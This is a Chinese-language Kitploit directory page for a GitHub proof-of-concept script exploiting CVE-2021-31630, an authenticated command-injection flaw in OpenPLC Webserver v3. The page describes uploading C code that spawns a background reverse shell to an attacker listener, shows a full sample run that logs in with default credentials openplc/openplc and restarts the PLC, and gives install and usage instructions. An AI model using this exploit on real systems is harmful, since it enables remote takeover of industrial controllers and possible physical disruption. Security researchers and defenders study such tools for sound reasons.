Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2021-31630 — 用于在 Open PLC Webserver v3 中利用命令注入漏洞的 Python 脚本 | Kitploit
工具/GitHubGitHub/thewhiteh4t/cve-2021-31630
漏洞分析漏洞利用渗透测试命令与控制远程访问工具Payload 开发
GitHubthewhiteh4t/cve-2021-31630

cve-2021-31630

用于在 Open PLC Webserver v3 中利用命令注入漏洞的 Python 脚本

查看仓库
21432年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

cve-2021-31630

OpenPLC WebServer v3 - 认证后的 RCE

此 PoC 脚本基于 Fellipe Oliveira 提供的漏洞利用代码。

功能 :

  • 直接将 C 代码上传到 /hardware,而非 st 文件上传
  • 在上传反向 shell 之前恢复默认程序
  • 改进的基于 C 的反向 shell,非阻塞,因此 Web 服务器不会挂起 ;)
  • 在后台生成 shell,即使 PLC 已停止也仍可运行,直到退出
  • 清理
root@kitploit:~
$ python cve_2021_31630.py -lh 10.10.16.68 -lp 4444 http://10.10.11.7:8080

------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------

[>] Found By : Fellipe Oliveira
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[>] Target   : http://10.10.11.7:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout  : 20 secs
[>] LHOST    : 10.10.16.68
[>] LPORT    : 4444

[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!

依赖

root@kitploit:~
pip3 install requests

用法

root@kitploit:~
usage: cve_2021_31630.py [-h] [-u U] [-p P] [-t T] -lh LH -lp LP url

positional arguments:
  url         Target URL with http(s)://

options:
  -h, --help  show this help message and exit
  -u U        Username
  -p P        Password
  -t T        Request Timeout, increase if server is slow
  -lh LH      LHOST
  -lp LP      LPORT
下载工具